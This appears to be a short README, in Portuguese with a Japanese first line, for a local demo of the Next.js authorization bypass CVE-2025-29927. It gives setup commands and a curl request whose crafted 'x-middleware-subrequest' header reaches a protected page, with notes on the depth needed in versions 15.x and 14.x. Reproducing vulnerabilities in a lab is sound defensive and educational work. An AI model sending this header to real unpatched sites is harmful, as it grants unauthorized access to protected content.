
Next.js における認可バイパスの脆弱性 CVE-2025-29927 を再現するデモです。
Demonstração que reproduz a vulnerabilidade de bypass de autorização no Next.js.
Para mais detalhes sobre esta vulnerabilidade, consulte Resumo da vulnerabilidade CVE-2025-29927 do Next.js.
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
x-middleware-subrequest utilizando curl ou similar.curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
Isso causará o bypass de autorização, permitindo o acesso à página /protected.
O valor de middleware é o nome do middleware reconhecido pelo Next.js. Neste aplicativo de demonstração, existe um middleware chamado middleware, portanto, ao especificar esse valor, ocorre o bypass de autorização.
[!TIP] No Next.js 15.x,
MAX_RECURSION_DEPTHestá definido como 5, portanto é necessário repetir o valormiddlewareseparado por:cinco vezes ou mais. Em versões mais antigas (14.x), apenas um único "middleware" era suficiente. Este aplicativo de demonstração utiliza Next.js 15.2.2, por isso esse valor é necessário.